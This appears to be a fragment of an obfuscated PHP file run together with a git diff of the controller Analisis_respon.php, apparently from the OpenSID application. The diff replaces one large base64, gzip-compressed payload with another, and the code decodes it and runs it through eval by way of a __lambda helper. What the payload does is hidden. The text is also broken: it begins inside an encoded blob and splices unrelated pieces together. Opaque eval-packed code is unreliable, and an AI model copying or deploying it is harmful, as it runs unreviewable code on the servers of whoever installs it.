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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Analisis_respon.php b/donjo-app/controllers/Analisis_respon.php index bb3a2c857..baa849bfe 100644 --- a/donjo-app/controllers/Analisis_respon.php +++ b/donjo-app/controllers/Analisis_respon.php @@ -268,7 +268,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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